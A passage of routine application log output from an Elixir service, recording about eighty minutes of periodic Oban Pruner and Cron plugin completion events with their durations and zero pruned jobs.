{"source":"oban","duration":1506,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:35:57.207 [info] {"source":"oban","duration":1941,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:36:00.528 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:36:27.210 [info] {"source":"oban","duration":1965,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:36:57.213 [info] {"source":"oban","duration":2218,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:37:00.530 [info] {"source":"oban","duration":426,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:37:27.216 [info] {"source":"oban","duration":1493,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:37:57.218 [info] {"source":"oban","duration":1576,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:38:00.531 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:38:27.221 [info] {"source":"oban","duration":2006,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:38:57.224 [info] {"source":"oban","duration":2032,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:39:00.533 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:39:27.227 [info] {"source":"oban","duration":1537,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:39:57.229 [info] {"source":"oban","duration":1547,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:40:00.535 [info] {"source":"oban","duration":400,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:40:27.231 [info] {"source":"oban","duration":1650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:40:57.234 [info] {"source":"oban","duration":1551,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:41:00.537 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:41:27.237 [info] {"source":"oban","duration":1504,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:41:57.240 [info] {"source":"oban","duration":1844,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:42:00.539 [info] {"source":"oban","duration":402,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:42:27.243 [info] {"source":"oban","duration":1536,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:42:57.246 [info] {"source":"oban","duration":2025,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:43:00.539 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:43:27.249 [info] {"source":"oban","duration":1520,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:43:57.252 [info] {"source":"oban","duration":1930,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:44:00.540 [info] {"source":"oban","duration":245,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:44:27.255 [info] {"source":"oban","duration":1502,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:44:57.257 [info] {"source":"oban","duration":1696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:45:00.542 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:45:27.260 [info] {"source":"oban","duration":1850,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:45:57.263 [info] {"source":"oban","duration":1525,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:46:00.543 [info] {"source":"oban","duration":407,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:46:27.266 [info] {"source":"oban","duration":1540,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:46:57.269 [info] {"source":"oban","duration":2037,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:47:00.545 [info] {"source":"oban","duration":426,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:47:27.272 [info] {"source":"oban","duration":1681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:47:57.275 [info] {"source":"oban","duration":1552,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:48:00.547 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:48:27.278 [info] {"source":"oban","duration":1699,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:48:57.281 [info] {"source":"oban","duration":1767,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:49:00.548 [info] {"source":"oban","duration":425,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:49:27.284 [info] {"source":"oban","duration":1551,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:49:57.287 [info] {"source":"oban","duration":1602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:50:00.550 [info] {"source":"oban","duration":453,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:50:27.290 [info] {"source":"oban","duration":1993,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:50:57.293 [info] {"source":"oban","duration":1905,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:51:00.552 [info] {"source":"oban","duration":373,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:51:27.296 [info] {"source":"oban","duration":1709,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:51:57.299 [info] {"source":"oban","duration":1589,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:52:00.553 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:52:27.302 [info] {"source":"oban","duration":1509,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:52:57.304 [info] {"source":"oban","duration":1744,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:53:00.554 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:53:27.307 [info] {"source":"oban","duration":1671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:53:57.310 [info] {"source":"oban","duration":2335,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:54:00.556 [info] {"source":"oban","duration":579,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:54:27.313 [info] {"source":"oban","duration":1929,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:54:57.316 [info] {"source":"oban","duration":1522,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:55:00.556 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:55:27.319 [info] {"source":"oban","duration":1574,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:55:57.322 [info] {"source":"oban","duration":1573,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:56:00.558 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:56:27.325 [info] {"source":"oban","duration":2084,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:56:57.328 [info] {"source":"oban","duration":1551,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:57:00.559 [info] {"source":"oban","duration":406,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:57:27.331 [info] {"source":"oban","duration":2029,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:57:57.334 [info] {"source":"oban","duration":1555,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:58:00.559 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:58:27.336 [info] {"source":"oban","duration":1852,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:58:57.339 [info] {"source":"oban","duration":1701,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:59:00.561 [info] {"source":"oban","duration":419,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:59:27.342 [info] {"source":"oban","duration":1554,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:59:57.345 [info] {"source":"oban","duration":1772,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:00:00.563 [info] {"source":"oban","duration":394,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:00:27.348 [info] {"source":"oban","duration":1505,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:00:57.350 [info] {"source":"oban","duration":1551,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:01:00.563 [info] {"source":"oban","duration":404,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:01:27.352 [info] {"source":"oban","duration":1543,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:01:57.355 [info] {"source":"oban","duration":1969,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:02:00.564 [info] {"source":"oban","duration":404,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:02:27.356 [info] {"source":"oban","duration":558,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:02:57.359 [info] {"source":"oban","duration":1682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:03:00.565 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:03:27.361 [info] {"source":"oban","duration":501,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:03:57.363 [info] {"source":"oban","duration":2196,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:04:00.567 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:04:27.366 [info] {"source":"oban","duration":1645,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:04:57.369 [info] {"source":"oban","duration":1737,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:05:00.569 [info] {"source":"oban","duration":393,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:05:27.372 [info] {"source":"oban","duration":1632,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:05:57.375 [info] {"source":"oban","duration":2184,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:06:00.570 [info] {"source":"oban","duration":458,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:06:27.378 [info] {"source":"oban","duration":1745,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:06:57.381 [info] {"source":"oban","duration":2069,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:07:00.572 [info] {"source":"oban","duration":410,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:07:27.384 [info] {"source":"oban","duration":1862,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:07:57.387 [info] {"source":"oban","duration":2109,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:08:00.573 [info] {"source":"oban","duration":413,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:08:27.390 [info] {"source":"oban","duration":1559,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:08:57.393 [info] {"source":"oban","duration":1903,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:09:00.574 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:09:27.396 [info] {"source":"oban","duration":1500,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:09:57.398 [info] {"source":"oban","duration":1563,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:10:00.575 [info] {"source":"oban","duration":413,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:10:27.401 [info] {"source":"oban","duration":1566,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:10:57.404 [info] {"source":"oban","duration":1869,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:11:00.577 [info] {"source":"oban","duration":621,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:11:27.407 [info] {"source":"oban","duration":2059,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:11:57.410 [info] {"source":"oban","duration":1839,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:12:00.578 [info] {"source":"oban","duration":366,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:12:27.413 [info] {"source":"oban","duration":1566,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:12:57.416 [info] {"source":"oban","duration":1650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:13:00.580 [info] {"source":"oban","duration":455,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:13:27.418 [info] {"source":"oban","duration":912,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:13:57.421 [info] {"source":"oban","duration":2061,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:14:00.581 [info] {"source":"oban","duration":415,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:14:27.424 [info] {"source":"oban","duration":1948,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:14:57.427 [info] {"source":"oban","duration":1734,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:15:00.582 [info] {"source":"oban","duration":372,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:15:27.430 [info] {"source":"oban","duration":1704,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:15:57.433 [info] {"source":"oban","duration":2211,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:16:00.583 [info] {"source":"oban","duration":628,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:16:27.436 [info] {"source":"oban","duration":1522,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:16:57.439 [info] {"source":"oban","duration":2070,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:17:00.585 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:17:27.442 [info] {"source":"oban","duration":1547,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:17:57.445 [info] {"source":"oban","duration":2171,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:18:00.585 [info] {"source":"oban","duration":422,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:18:27.448 [info] {"source":"oban","duration":1691,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:18:57.451 [info] {"source":"oban","duration":1564,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:19:00.587 [info] {"source":"oban","duration":627,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:19:27.454 [info] {"source":"oban","duration":1535,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:19:57.457 [info] {"source":"oban","duration":2306,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:20:00.588 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:20:27.460 [info] {"source":"oban","duration":1658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:20:57.462 [info] {"source":"oban","duration":2058,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:21:00.590 [info] {"source":"oban","duration":579,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:21:27.465 [info] {"source":"oban","duration":2140,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:21:57.469 [info] {"source":"oban","duration":2629,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:22:00.591 [info] {"source":"oban","duration":581,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:22:27.471 [info] {"source":"oban","duration":1547,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:22:57.473 [info] {"source":"oban","duration":1534,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:23:00.591 [info] {"source":"oban","duration":171,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:23:27.475 [info] {"source":"oban","duration":1545,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:23:57.478 [info] {"source":"oban","duration":2333,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:24:00.592 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:24:27.481 [info] {"source":"oban","duration":1571,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:24:57.484 [info] {"source":"oban","duration":1689,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:25:00.594 [info] {"source":"oban","duration":395,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:25:27.487 [info] {"source":"oban","duration":1674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:25:57.490 [info] {"source":"oban","duration":1680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:26:00.595 [info] {"source":"oban","duration":402,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:26:27.493 [info] {"source":"oban","duration":1673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:26:57.496 [info] {"source":"oban","duration":1658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:27:00.596 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:27:27.499 [info] {"source":"oban","duration":1702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:27:57.502 [info] {"source":"oban","duration":1646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:28:00.598 [info] {"source":"oban","duration":392,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:28:27.505 [info] {"source":"oban","duration":1670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:28:57.508 [info] {"source":"oban","duration":1593,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:29:00.599 [info] {"source":"oban","duration":386,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:29:27.511 [info] {"source":"oban","duration":1609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:29:57.514 [info] {"source":"oban","duration":1587,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:30:00.600 [info] {"source":"oban","duration":394,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:30:27.517 [info] {"source":"oban","duration":1535,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:30:57.520 [info] {"source":"oban","duration":1523,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:31:00.601 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:31:27.523 [info] {"source":"oban","duration":2087,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:31:57.526 [info] {"source":"oban","duration":2093,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:32:00.602 [info] {"source":"oban","duration":612,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:32:27.529 [info] {"source":"oban","duration":2023,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:32:57.532 [info] {"source":"oban","duration":1556,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:33:00.604 [info] {"source":"oban","duration":391,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:33:27.535 [info] {"source":"oban","duration":1526,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:33:57.538 [info] {"source":"oban","duration":1902,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:34:00.604 [info] {"source":"oban","duration":152,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:34:27.541 [info] {"source":"oban","duration":1663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:34:57.544 [info] {"source":"oban","duration":1506,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:35:00.606 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:35:27.546 [info] {"source":"oban","duration":1906,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:35:57.549 [info] {"source":"oban","duration":1857,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:36:00.607 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:36:27.551 [info] {"source":"oban","duration":1520,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:36:57.554 [info] {"source":"oban","duration":1961,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:37:00.608 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:37:27.556 [info] {"source":"oban","duration":1488,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:37:57.559 [info] {"source":"oban","duration":1510,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:38:00.608 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:38:27.561 [info] {"source":"oban","duration":1608,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:38:57.564 [info] {"source":"oban","duration":1738,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:39:00.609 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:39:27.567 [info] {"source":"oban","duration":1695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:39:57.571 [info] {"source":"oban","duration":1440,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:40:00.610 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:40:27.574 [info] {"source":"oban","duration":2212,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:40:57.577 [info] {"source":"oban","duration":1544,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:41:00.612 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:41:27.580 [info] {"source":"oban","duration":1550,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:41:57.582 [info] {"source":"oban","duration":1552,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:42:00.612 [info] {"source":"oban","duration":399,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:42:27.585 [info] {"source":"oban","duration":2229,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:42:57.588 [info] {"source":"oban","duration":1522,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:43:00.613 [info] {"source":"oban","duration":394,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:43:27.590 [info] {"source":"oban","duration":1588,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:43:57.593 [info] {"source":"oban","duration":1553,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:44:00.615 [info] {"source":"oban","duration":372,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:44:27.596 [info] {"source":"oban","duration":1517,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:44:57.598 [info] {"source":"oban","duration":2015,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:45:00.616 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:45:27.601 [info] {"source":"oban","duration":2052,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:45:57.604 [info] {"source":"oban","duration":1545,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:46:00.618 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:46:27.607 [info] {"source":"oban","duration":1525,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:46:57.610 [info] {"source":"oban","duration":1854,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:47:00.618 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:47:27.613 [info] {"source":"oban","duration":2079,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:47:57.616 [info] {"source":"oban","duration":1515,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:48:00.620 [info] {"source":"oban","duration":459,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:48:27.618 [info] {"source":"oban","duration":631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:48:57.620 [info] {"source":"oban","duration":1981,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:49:00.622 [info] {"source":"oban","duration":392,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:49:27.623 [info] {"source":"oban","duration":1849,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:49:57.626 [info] {"source":"oban","duration":2078,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:50:00.624 [info] {"source":"oban","duration":373,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:50:27.629 [info] {"source":"oban","duration":2034,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:50:57.632 [info] {"source":"oban","duration":1596,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:51:00.626 [info] {"source":"oban","duration":436,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:51:27.635 [info] {"source":"oban","duration":1544,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:51:57.637 [info] {"source":"oban","duration":1533,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:52:00.628 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:52:27.640 [info] {"source":"oban","duration":2264,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:52:57.643 [info] {"source":"oban","duration":1907,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:53:00.630 [info] {"source":"oban","duration":396,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:53:27.646 [info] {"source":"oban","duration":1690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:53:57.649 [info] {"source":"oban","duration":1788,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:54:00.631 [info] {"source":"oban","duration":373,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:54:27.652 [info] {"source":"oban","duration":1686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:54:57.654 [info] 